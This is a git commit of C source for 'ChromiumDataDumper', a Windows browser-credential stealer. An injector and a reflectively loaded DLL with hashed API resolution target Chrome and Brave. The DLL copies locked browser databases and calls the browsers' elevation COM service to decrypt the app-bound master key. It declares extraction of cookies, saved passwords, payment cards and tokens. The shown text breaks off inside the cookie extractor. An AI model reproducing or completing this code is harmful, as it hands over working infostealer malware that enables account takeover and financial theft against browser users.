initial commit

This commit is contained in:
i2p
2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+84
View File
@@ -0,0 +1,84 @@
cmake_minimum_required(VERSION 3.31)
project(ChromiumDataDumper LANGUAGES C CXX)
set(CMAKE_C_STANDARD 17)
set(CMAKE_C_STANDARD_REQUIRED ON)
set(CMAKE_CXX_STANDARD 23)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# decryptor
set(CHROMIUM_DECRYPTOR_HEADERS
decryptor/include/types.h
decryptor/include/buffer.h
decryptor/include/utils.h
decryptor/include/crypto.h
decryptor/include/browser.h
decryptor/include/profile.h
decryptor/include/handle_duplicator.h
decryptor/include/extractor.h
decryptor/include/orchestrator.h
decryptor/include/reflective_loader.h
)
set(CHROMIUM_DECRYPTOR_SOURCES
decryptor/src/dllmain.c
decryptor/src/buffer.c
decryptor/src/utils.c
decryptor/src/crypto.c
decryptor/src/browser.c
decryptor/src/profile.c
decryptor/src/handle_duplicator.c
decryptor/src/extractor.c
decryptor/src/orchestrator.c
decryptor/src/reflective_loader.c
)
find_package(EASTL CONFIG REQUIRED)
add_library(ChromiumDecryptor SHARED ${CHROMIUM_DECRYPTOR_HEADERS} ${CHROMIUM_DECRYPTOR_SOURCES})
target_include_directories(ChromiumDecryptor PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}/decryptor/include
${CMAKE_CURRENT_SOURCE_DIR}/third_party/sqlite
)
add_library(sqlite3 STATIC
third_party/sqlite/sqlite3.h
third_party/sqlite/sqlite3.c
)
target_link_libraries(ChromiumDecryptor PRIVATE sqlite3 EASTL)
# injector
set(CHROMIUM_INJECTOR_HEADERS
injector/include/types.h
injector/include/utils.h
injector/include/browser_resolver.h
injector/include/target_process.h
injector/include/pipe_communicator.h
injector/include/injection_manager.h
)
set(CHROMIUM_INJECTOR_SOURCES
injector/src/main.c
injector/src/utils.c
injector/src/browser_resolver.c
injector/src/target_process.c
injector/src/pipe_communicator.c
injector/src/injection_manager.c
)
add_executable(ChromiumInjector ${CHROMIUM_INJECTOR_HEADERS} ${CHROMIUM_INJECTOR_SOURCES})
target_include_directories(ChromiumInjector PRIVATE
${CMAKE_CURRENT_SOURCE_DIR}/injector/include
)
if (MSVC)
add_compile_options(/wd4471)
elseif (CMAKE_CXX_COMPILER_ID STREQUAL "Clang")
add_compile_options(-Wno-enum-forward-declaration)
endif()
+9
View File
@@ -0,0 +1,9 @@
#ifndef BROWSER_H
#define BROWSER_H
#include "types.h"
bool browser_get_config_for_process(BrowserConfig* config);
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len);
#endif // BROWSER_H
+21
View File
@@ -0,0 +1,21 @@
#ifndef BUFFER_H
#define BUFFER_H
#include "types.h"
ByteBuffer* buffer_create(size_t initial_capacity);
void buffer_destroy(ByteBuffer* buf);
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len);
bool buffer_resize(ByteBuffer* buf, size_t new_size);
void buffer_clear(ByteBuffer* buf);
StringArray* string_array_create(size_t initial_capacity);
void string_array_destroy(StringArray* arr);
bool string_array_add(StringArray* arr, const char* str);
bool string_array_contains(StringArray* arr, const char* str);
ProfileList* profile_list_create(size_t initial_capacity);
void profile_list_destroy(ProfileList* list);
bool profile_list_add(ProfileList* list, const wchar_t* path);
#endif // BUFFER_H
+12
View File
@@ -0,0 +1,12 @@
#ifndef CRYPTO_H
#define CRYPTO_H
#include "types.h"
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len);
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path);
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len);
#endif // CRYPTO_H
+31
View File
@@ -0,0 +1,31 @@
#ifndef EXTRACTOR_H
#define EXTRACTOR_H
#include "types.h"
#include "sqlite3.h"
typedef struct {
const wchar_t* db_path;
const char* output_name;
const char* sql_query;
} ExtractionConfig;
typedef struct {
const wchar_t* profile_path;
const wchar_t* output_base;
const char* browser_name;
const uint8_t* aes_key;
size_t key_len;
} ExtractionContext;
StringArray* extract_cookies(const ExtractionContext* ctx);
StringArray* extract_passwords(const ExtractionContext* ctx);
StringArray* extract_payments(const ExtractionContext* ctx);
StringArray* extract_tokens(const ExtractionContext* ctx);
bool write_json_array(const wchar_t* file_path, StringArray* entries);
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);
void cleanup_temp_files(void);
#endif // EXTRACTOR_H
+9
View File
@@ -0,0 +1,9 @@
#ifndef HANDLE_DUPLICATOR_H
#define HANDLE_DUPLICATOR_H
#include <Windows.h>
#include <stdbool.h>
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path);
#endif // HANDLE_DUPLICATOR_H
+17
View File
@@ -0,0 +1,17 @@
#ifndef ORCHESTRATOR_H
#define ORCHESTRATOR_H
#include "types.h"
typedef struct {
wchar_t pipe_name[256];
wchar_t output_path[MAX_PATH_LEN];
bool extract_fingerprint;
HANDLE pipe_handle;
} OrchestratorConfig;
bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name);
bool orchestrator_run(OrchestratorConfig* config);
void orchestrator_cleanup(OrchestratorConfig* config);
#endif // ORCHESTRATOR_H
+8
View File
@@ -0,0 +1,8 @@
#ifndef PROFILE_H
#define PROFILE_H
#include "types.h"
ProfileList* profile_find_all(const wchar_t* user_data_root);
#endif // PROFILE_H
+210
View File
@@ -0,0 +1,210 @@
#ifndef REFLECTIVE_LOADER_H
#define REFLECTIVE_LOADER_H
#pragma once
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <intrin.h>
#if defined(_M_X64) || defined(_M_ARM64)
#define ENVIRONMENT64
#else
#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
#endif
#if defined(_MSC_VER)
#define DLLEXPORT __declspec(dllexport)
#else
#define DLLEXPORT
#endif
typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
#define HASH_KEY 13
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
typedef struct _UNICODE_STRING_LDR
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
typedef struct _PEB_LDR_DATA_LDR
{
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
BOOLEAN ShutdownInProgress;
HANDLE ShutdownThreadId;
} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
typedef struct _LDR_DATA_TABLE_ENTRY_LDR
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING_LDR FullDllName;
UNICODE_STRING_LDR BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
PVOID EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
typedef struct _PEB_LDR
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAware : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA_LDR Ldr;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ProcessImagesHotPatched : 1;
ULONG ReservedBits0 : 24;
};
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID SharedData;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID *ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ActiveProcessAffinityMask;
ULONG GdiHandleBuffer[60];
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING_LDR CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID SparePointers[2];
PVOID PatchLoaderData;
PVOID ChpeV2ProcessInfo;
ULONG AppModelFeatureState;
ULONG SpareUlongs[2];
USHORT ActiveConsoleId;
USHORT AppCompatVersionInfo;
PVOID ExtendedProcessInfo;
} PEB_LDR, *PPEB_LDR;
typedef struct _IMAGE_RELOC_ENTRY
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
#endif
+55
View File
@@ -0,0 +1,55 @@
#ifndef TYPES_H
#define TYPES_H
#include <stdint.h>
#include <stdbool.h>
#include <Windows.h>
#define MAX_PATH_LEN 512
#define MAX_QUERY_LEN 1024
#define MAX_JSON_LEN 4096
#define MAX_NETSCAPE_LEN 4096
#define COOKIE_PLAINTEXT_HEADER_SIZE 32
#define KEY_SIZE 32
#define GCM_IV_LENGTH 12
#define GCM_TAG_LENGTH 16
typedef enum {
PROTECTION_NONE = 0,
PROTECTION_PATH_VALIDATION_OLD = 1,
PROTECTION_PATH_VALIDATION = 2,
PROTECTION_MAX = 3
} ProtectionLevel;
typedef struct {
char name[64];
wchar_t process_name[64];
CLSID clsid;
IID iid;
wchar_t user_data_path[MAX_PATH_LEN];
} BrowserConfig;
typedef struct {
uint8_t* data;
size_t size;
size_t capacity;
} ByteBuffer;
typedef struct {
char** items;
size_t count;
size_t capacity;
} StringArray;
typedef struct {
wchar_t path[MAX_PATH_LEN];
bool is_valid;
} ProfilePath;
typedef struct {
ProfilePath* paths;
size_t count;
size_t capacity;
} ProfileList;
#endif // TYPES_H
+13
View File
@@ -0,0 +1,13 @@
#ifndef UTILS_H
#define UTILS_H
#include "types.h"
bool get_local_appdata_path(wchar_t* path, size_t len);
ByteBuffer* base64_decode(const char* input);
void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len);
char* escape_json_string(const char* str);
bool read_file_content(const wchar_t* path, char** content, size_t* size);
bool write_file_content(const wchar_t* path, const char* content, size_t size);
#endif // UTILS_H
+68
View File
@@ -0,0 +1,68 @@
#include "browser.h"
#include "utils.h"
#include <Windows.h>
#include <ctype.h>
#include <string.h>
#include <stdio.h>
static const CLSID CLSID_CHROME = { 0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B} };
static const IID IID_CHROME = { 0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8} };
static const CLSID CLSID_BRAVE = { 0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B} };
static const IID IID_BRAVE = { 0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9} };
static void init_chrome_config(BrowserConfig* cfg) {
strcpy_s(cfg->name, sizeof(cfg->name), "Chrome");
wcscpy_s(cfg->process_name, 64, L"chrome.exe");
cfg->clsid = CLSID_CHROME;
cfg->iid = IID_CHROME;
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN, L"Google\\Chrome\\User Data");
}
static void init_brave_config(BrowserConfig* cfg) {
strcpy_s(cfg->name, sizeof(cfg->name), "Brave");
wcscpy_s(cfg->process_name, 64, L"brave.exe");
cfg->clsid = CLSID_BRAVE;
cfg->iid = IID_BRAVE;
wcscpy_s(cfg->user_data_path, MAX_PATH_LEN,
L"BraveSoftware\\Brave-Browser\\User Data");
}
bool browser_get_config_for_process(BrowserConfig* config) {
if (!config) return false;
char exe_path[MAX_PATH];
GetModuleFileNameA(NULL, exe_path, MAX_PATH);
char* filename = strrchr(exe_path, '\\');
if (!filename) filename = exe_path;
else filename++;
for (char* p = filename; *p; p++) {
*p = (char)tolower(*p);
}
if (strcmp(filename, "chrome.exe") == 0) {
init_chrome_config(config);
return true;
}
if (strcmp(filename, "brave.exe") == 0) {
init_brave_config(config);
return true;
}
return false;
}
bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len) {
if (!config || !path) return false;
wchar_t appdata[MAX_PATH_LEN];
if (!get_local_appdata_path(appdata, MAX_PATH_LEN)) {
return false;
}
swprintf_s(path, len, L"%s\\%s", appdata, config->user_data_path);
return true;
}
+148
View File
@@ -0,0 +1,148 @@
#include "buffer.h"
#include <string.h>
ByteBuffer* buffer_create(size_t initial_capacity) {
ByteBuffer* buf = malloc(sizeof(ByteBuffer));
if (!buf) return NULL;
buf->data = malloc(initial_capacity);
if (!buf->data) {
free(buf);
return NULL;
}
buf->size = 0;
buf->capacity = initial_capacity;
return buf;
}
void buffer_destroy(ByteBuffer* buf) {
if (!buf) return;
free(buf->data);
free(buf);
}
bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len) {
if (!buf || !data) return false;
if (buf->size + len > buf->capacity) {
size_t new_cap = (buf->size + len) * 2;
uint8_t* new_data = realloc(buf->data, new_cap);
if (!new_data) return false;
buf->data = new_data;
buf->capacity = new_cap;
}
memcpy(buf->data + buf->size, data, len);
buf->size += len;
return true;
}
bool buffer_resize(ByteBuffer* buf, size_t new_size) {
if (!buf) return false;
if (new_size > buf->capacity) {
uint8_t* new_data = realloc(buf->data, new_size);
if (!new_data) return false;
buf->data = new_data;
buf->capacity = new_size;
}
buf->size = new_size;
return true;
}
void buffer_clear(ByteBuffer* buf) {
if (buf) buf->size = 0;
}
StringArray* string_array_create(size_t initial_capacity) {
StringArray* arr = malloc(sizeof(StringArray));
if (!arr) return NULL;
arr->items = malloc(sizeof(char*) * initial_capacity);
if (!arr->items) {
free(arr);
return NULL;
}
arr->count = 0;
arr->capacity = initial_capacity;
return arr;
}
void string_array_destroy(StringArray* arr) {
if (!arr) return;
for (size_t i = 0; i < arr->count; i++) {
free(arr->items[i]);
}
free(arr->items);
free(arr);
}
bool string_array_add(StringArray* arr, const char* str) {
if (!arr || !str) return false;
if (arr->count >= arr->capacity) {
size_t new_cap = arr->capacity * 2;
char** new_items = realloc(arr->items, sizeof(char*) * new_cap);
if (!new_items) return false;
arr->items = new_items;
arr->capacity = new_cap;
}
arr->items[arr->count] = _strdup(str);
if (!arr->items[arr->count]) return false;
arr->count++;
return true;
}
bool string_array_contains(StringArray* arr, const char* str) {
if (!arr || !str) return false;
for (size_t i = 0; i < arr->count; i++) {
if (strcmp(arr->items[i], str) == 0) {
return true;
}
}
return false;
}
ProfileList* profile_list_create(size_t initial_capacity) {
ProfileList* list = malloc(sizeof(ProfileList));
if (!list) return NULL;
list->paths = malloc(sizeof(ProfilePath) * initial_capacity);
if (!list->paths) {
free(list);
return NULL;
}
list->count = 0;
list->capacity = initial_capacity;
return list;
}
void profile_list_destroy(ProfileList* list) {
if (!list) return;
free(list->paths);
free(list);
}
bool profile_list_add(ProfileList* list, const wchar_t* path) {
if (!list || !path) return false;
if (list->count >= list->capacity) {
size_t new_cap = list->capacity * 2;
ProfilePath* new_paths = realloc(list->paths, sizeof(ProfilePath) * new_cap);
if (!new_paths) return false;
list->paths = new_paths;
list->capacity = new_cap;
}
wcsncpy_s(list->paths[list->count].path, MAX_PATH_LEN, path, _TRUNCATE);
list->paths[list->count].is_valid = true;
list->count++;
return true;
}
+206
View File
@@ -0,0 +1,206 @@
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <Windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(lib, "bcrypt.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
static const uint8_t KEY_PREFIX[] = { 'A', 'P', 'P', 'B' };
static const char V20_PREFIX[] = "v20";
static const size_t V20_PREFIX_LEN = 3;
typedef struct IOriginalBaseElevator IOriginalBaseElevator;
typedef struct IOriginalBaseElevatorVtbl {
// IUnknown methods
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IOriginalBaseElevator* This, REFIID riid, void** ppvObject);
ULONG(STDMETHODCALLTYPE* AddRef)(IOriginalBaseElevator* This);
ULONG(STDMETHODCALLTYPE* Release)(IOriginalBaseElevator* This);
HRESULT(STDMETHODCALLTYPE* RunRecoveryCRXElevated)(IOriginalBaseElevator* This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, PULONG_PTR);
HRESULT(STDMETHODCALLTYPE* EncryptData)(IOriginalBaseElevator* This, ProtectionLevel, const BSTR, BSTR*, DWORD*);
HRESULT(STDMETHODCALLTYPE* DecryptData)(IOriginalBaseElevator* This, const BSTR, BSTR*, DWORD*);
} IOriginalBaseElevatorVtbl;
struct IOriginalBaseElevator {
CONST_VTBL struct IOriginalBaseElevatorVtbl* lpVtbl;
};
// A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C
static const IID IID_IOriginalBaseElevator = { 0xA949CB4E, 0xC4F9, 0x44C4, { 0xB2, 0x13, 0x6B, 0xF8, 0xAA, 0x9A, 0xC6, 0x9C } };
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len) {
if (!key || !blob || key_len != KEY_SIZE) return NULL;
const size_t overhead = V20_PREFIX_LEN + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob_len < overhead || memcmp(blob, V20_PREFIX, V20_PREFIX_LEN) != 0) {
return NULL;
}
BCRYPT_ALG_HANDLE alg = NULL;
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_AES_ALGORITHM, NULL, 0))) {
return NULL;
}
BCryptSetProperty(alg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
BCRYPT_KEY_HANDLE hkey = NULL;
NTSTATUS status = BCryptGenerateSymmetricKey(alg, &hkey, NULL, 0,
(PUCHAR)key, (ULONG)key_len, 0);
if (!NT_SUCCESS(status)) {
BCryptCloseAlgorithmProvider(alg, 0);
return NULL;
}
const uint8_t* iv = blob + V20_PREFIX_LEN;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob + blob_len - GCM_TAG_LENGTH;
ULONG ct_len = (ULONG)(blob_len - overhead);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
auth_info.pbNonce = (PUCHAR)iv;
auth_info.cbNonce = GCM_IV_LENGTH;
auth_info.pbTag = (PUCHAR)tag;
auth_info.cbTag = GCM_TAG_LENGTH;
ByteBuffer* plain = buffer_create(ct_len > 0 ? ct_len : 1);
if (!plain) {
BCryptDestroyKey(hkey);
BCryptCloseAlgorithmProvider(alg, 0);
return NULL;
}
ULONG out_len = 0;
status = BCryptDecrypt(hkey, (PUCHAR)ct, ct_len, &auth_info,
NULL, 0, plain->data, (ULONG)plain->capacity, &out_len, 0);
BCryptDestroyKey(hkey);
BCryptCloseAlgorithmProvider(alg, 0);
if (!NT_SUCCESS(status)) {
buffer_destroy(plain);
return NULL;
}
plain->size = out_len;
return plain;
}
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path) {
if (!local_state_path) return NULL;
char* content = NULL;
size_t size = 0;
if (!read_file_content(local_state_path, &content, &size)) {
return NULL;
}
const char* tag = "\"app_bound_encrypted_key\":\"";
char* pos = strstr(content, tag);
if (!pos) {
free(content);
return NULL;
}
pos += strlen(tag);
char* end_pos = strchr(pos, '"');
if (!end_pos) {
free(content);
return NULL;
}
size_t b64_len = end_pos - pos;
char* b64_key = malloc(b64_len + 1);
if (!b64_key) {
free(content);
return NULL;
}
memcpy(b64_key, pos, b64_len);
b64_key[b64_len] = '\0';
ByteBuffer* decoded = base64_decode(b64_key);
free(b64_key);
free(content);
if (!decoded) return NULL;
if (decoded->size < sizeof(KEY_PREFIX) || memcmp(decoded->data, KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) {
buffer_destroy(decoded);
return NULL;
}
size_t key_len = decoded->size - sizeof(KEY_PREFIX);
memmove(decoded->data, decoded->data + sizeof(KEY_PREFIX), key_len);
decoded->size = key_len;
return decoded;
}
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len) {
if (!config || !encrypted_key) return NULL;
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (FAILED(hr)) return NULL;
IOriginalBaseElevator* pEvelator = NULL;
hr = CoCreateInstance(&config->clsid, NULL, CLSCTX_LOCAL_SERVER, &config->iid, (void**)&pEvelator);
if (FAILED(hr)) {
CoUninitialize();
return NULL;
}
hr = CoSetProxyBlanket((IUnknown*)pEvelator, RPC_C_AUTHN_DEFAULT,
RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, NULL,
EOAC_DYNAMIC_CLOAKING);
BSTR bstr_enc = SysAllocStringByteLen((const char*)encrypted_key, (UINT)encrypted_key_len);
if (!bstr_enc) {
pEvelator->lpVtbl->Release(pEvelator);
CoUninitialize();
return NULL;
}
BSTR bstr_plain = NULL;
DWORD com_err = 0;
hr = pEvelator->lpVtbl->DecryptData(pEvelator, bstr_enc, &bstr_plain, &com_err);
SysFreeString(bstr_enc);
pEvelator->lpVtbl->Release(pEvelator);
if (FAILED(hr) || !bstr_plain) {
CoUninitialize();
return NULL;
}
UINT key_size = SysStringByteLen(bstr_plain);
if (key_size != KEY_SIZE) {
SysFreeString(bstr_plain);
CoUninitialize();
return NULL;
}
ByteBuffer* result = buffer_create(KEY_SIZE);
if (result) {
memcpy(result->data, bstr_plain, KEY_SIZE);
result->size = KEY_SIZE;
}
SysFreeString(bstr_plain);
CoUninitialize();
return result;
}
+45
View File
@@ -0,0 +1,45 @@
#include "orchestrator.h"
#include <Windows.h>
#include <stdio.h>
typedef struct
{
HMODULE hModule_dll;
LPVOID lpPipeNamePointerFromInjector;
} ThreadParams;
DWORD WINAPI decryprion_thread_worker(LPVOID lpParam)
{
ThreadParams* thread_params = (ThreadParams*)lpParam;
OrchestratorConfig config;
if (orchestrator_init(&config, (LPCWSTR)thread_params->lpPipeNamePointerFromInjector)) {
orchestrator_run(&config);
}
orchestrator_cleanup(&config);
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
free(thread_params);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
ThreadParams* thread_params = (ThreadParams*)malloc(sizeof(ThreadParams));
thread_params->hModule_dll = hModule;
thread_params->lpPipeNamePointerFromInjector = lpReserved;
HANDLE hThread = CreateThread(NULL, 0, decryprion_thread_worker, thread_params, 0, NULL);
if (hThread) {
CloseHandle(hThread);
}
else {
free(thread_params);
}
}
return TRUE;
}
+463
View File
@@ -0,0 +1,463 @@
#include "extractor.h"
#include "handle_duplicator.h"
#include "crypto.h"
#include "utils.h"
#include "buffer.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
wchar_t** files;
size_t count;
size_t capacity;
} TempFileList;
static TempFileList* temp_files = NULL;
static void init_temp_files() {
if (!temp_files) {
temp_files = malloc(sizeof(TempFileList));
if (temp_files) {
temp_files->files = malloc(sizeof(wchar_t*) * 10);
temp_files->count = 0;
temp_files->capacity = 10;
}
}
}
static void add_temp_file(const wchar_t* path) {
if (!temp_files) return;
if (temp_files->count >= temp_files->capacity) {
size_t new_cap = temp_files->capacity * 2;
wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
if (!new_files) return;
temp_files->files = new_files;
temp_files->capacity = new_cap;
}
temp_files->files[temp_files->count] = _wcsdup(path);
temp_files->count++;
}
void cleanup_temp_files() {
if (!temp_files) return;
for (size_t i = 0; i < temp_files->count; i++) {
DeleteFileW(temp_files->files[i]);
free(temp_files->files[i]);
}
free(temp_files->files);
free(temp_files);
temp_files = NULL;
}
static bool open_database(const wchar_t* db_path, sqlite3** db) {
char path_utf8[MAX_PATH_LEN * 3];
int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
sizeof(path_utf8), NULL, NULL);
if (converted == 0) {
return false;
}
char uri_path[MAX_PATH_LEN * 3 + 20];
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
int rc = sqlite3_open_v2(uri_path, db,
SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
wchar_t temp_dir[MAX_PATH_LEN];
GetTempPathW(MAX_PATH_LEN, temp_dir);
wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
CreateDirectoryW(temp_dir, NULL);
wchar_t temp_file[MAX_PATH_LEN];
swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());
if (!copy_locked_file(db_path, temp_file)) {
return false;
}
init_temp_files();
add_temp_file(temp_file);
WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
for (char* p = uri_path; *p; p++) {
if (*p == '\\') *p = '/';
}
rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
if (rc != SQLITE_OK) {
if (*db) {
sqlite3_close(*db);
*db = NULL;
}
return false;
}
}
return true;
}
bool write_json_array(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
fprintf(f, "[\n");
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s", entries->items[i]);
if (i < entries->count - 1) {
fprintf(f, ",\n");
}
}
fprintf(f, "\n]\n");
fclose(f);
return true;
}
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
if (!file_path || !entries) return false;
FILE* f = NULL;
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
for (size_t i = 0; i < entries->count; i++) {
fprintf(f, "%s\n", entries->items[i]);
}
fclose(f);
return true;
}
StringArray* extract_cookies(const ExtractionContext* ctx) {
if (!ctx) return NULL;
